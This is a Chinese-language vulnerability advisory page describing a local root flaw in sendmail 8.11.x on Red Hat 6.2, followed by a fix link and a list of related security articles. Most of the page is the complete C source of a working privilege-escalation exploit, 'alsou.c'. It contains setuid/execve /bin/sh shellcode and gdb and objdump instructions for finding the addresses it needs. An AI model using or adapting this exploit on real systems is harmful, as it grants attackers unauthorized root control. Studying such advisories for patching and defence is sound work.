sendmail 漏洞 (APP缺陷)
涉及程序:
sendmail
描述:
本地攻击者利用 sendmail 漏洞能取得 root 权限
详细:
发现 sendmail 存在本地漏洞,攻击者利用此漏洞能取得 root 特权。
测试系统:
Sendmail 8.11.4 on Red Hat 6.2 and kernel 2.2.18
以下代码仅仅用来测试和研究这个漏洞,如果您将其用于不正当的途径请后果自负
/*
* alsou.c
*
* sendmail-8.11.x linux x86 exploit
*
* To use this exploit you should know two numbers: VECT and GOT.
* Use gdb to find the first:
*
* $ gdb -q /usr/sbin/sendmail
* (gdb) break tTflag
* Breakpoint 1 at 0x8080629
* (gdb) r -d1-1.1
* Starting program: /usr/sbin/sendmail -d1-1.1
*
* Breakpoint 1, 0x8080629 in tTflag ()
* (gdb) disassemble tTflag
* .............
* 0x80806ea : dec %edi
* 0x80806eb : mov %edi,0xfffffff8(%ebp)
* 0x80806ee : jmp 0x80806f9
* 0x80806f0 : mov 0x80b21f4,%eax
* ^^^^^^^^^^^^^^^^^^ address of VECT
* 0x80806f5 : mov %bl,(%esi,%eax,1)
* 0x80806f8 : inc %esi
* 0x80806f9 : cmp 0xfffffff8(%ebp),%esi
* 0x80806fc : jle 0x80806f0
* .............
* (gdb) x/x 0x80b21f4
* 0x80b21f4 : 0x080b9ae0
* ^^^^^^^^^^^^^ VECT
*
* Use objdump to find the second:
* $ objdump -R /usr/sbin/sendmail |grep setuid
* 0809e07c R_386_JUMP_SLOT setuid
* ^^^^^^^^^ GOT
*
* Probably you should play with OFFSET to make exploit work.
*
* Constant values, written in this code found for sendmail-8.11.4
* on RedHat-6.2. For sendmail-8.11.0 on RedHat-6.2 try VECT = 0x080b9ae0 and
* GOT = 0x0809e07c.
*
* To get r00t type ./alsou and then press Ctrl+C.
*
*
* grange
*
*/
#include
#include
#define OFFSET 1000
#define VECT 0x080baf20
#define GOT 0x0809f544
#define NOPNUM 1024
char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xb0\x2e\xcd\x80\xeb\x15\x5b\x31"
"\xc0\x88\x43\x07\x89\x5b\x08\x89"
"\x43\x0c\x8d\x4b\x08\x31\xd2\xb0"
"\x0b\xcd\x80\xe8\xe6\xff\xff\xff"
"/bin/sh";
unsigned int get_esp()
{
__asm__("movl %esp,%eax");
}
int main(int argc, char *argv[])
{
char *egg, s[256], tmp[256], *av[3], *ev[2];
unsigned int got = GOT, vect = VECT, ret, first, last, i;
egg = (char *)malloc(strlen(shellcode) + NOPNUM + 5);
if (egg == NULL) {
perror("malloc()");
exit(-1);
}
sprintf(egg, "EGG=");
memset(egg + 4, 0x90, NOPNUM);
sprintf(egg + 4 + NOPNUM, "%s", shellcode);
ret = get_esp() + OFFSET;
sprintf(s, "-d");
first = -vect - (0xffffffff - got + 1);
last = first;
while (ret) {
i = ret & 0xff;
sprintf(tmp, "%u-%u.%u-", first, last, i);
strcat(s, tmp);
last = ++first;
ret = ret >> 8;
}
s[strlen(s) - 1] = @#\0@#;
av[0] = "/usr/sbin/sendmail";
av[1] = s;
av[2] = NULL;
ev[0] = egg;
ev[1] = NULL;
execve(*av, av, ev);
}
解决方案:
下载安装升级版本:
http://www.sendmail.org/8.12.0.Beta19.html
- · 万兆以太网的显著特性
- · 安全扫描浅谈
- · Linux御敌策略谈
- · TCPDUMP快速入门手册
- · Unix系统安全必读
- · Perl的安全性监测
- · 用LKM更改linux缺省安全等级
- · 如何检查系统入侵
- · 如何查出黑客所在
- · 网络保护和入侵探测产品SessionWall-3技术概览
- · 入侵检测工具Watcher
- · 入侵检测与预警
- · IP的不安全性
- · ICMP详解
- · 网络安全的几项关键技术
- · 网络最高安全指南
- · Unix中限制root远程登录的方法
- · 服务器伪装信息修改法
- · SCO UNIX系统“root密码”丢失的处理
- · Red Hat Linux Apache 远程列举用户名漏洞
- · 如何保护互联网上的Linux机器
- · phpMyAdmin2.1.0存在两个漏洞
- · Unix网络的两个安全问题
- · 一五一十谈IIS安全机制
- · 使用ARP分组检测处于混杂模式的网络节点
- · 感染linux脚本程序技术
- · Internet防火墙技术及安全策略
- · 关于Linux和Unix动态连接库的安全
- · 构建“不公开”的家用网络
- · OpenSSH快速指南
- · SSH使用指南
- · 网络安全漏洞检测
- · 用SYN包特性增强网络安全
- · kerberos的安装配置
- · 使用Linux建立IP隧道
- · Snort 用户手册
- · coda分布式文件系统
- · 在RedHat9下安装Chinput中文输入法Step by step
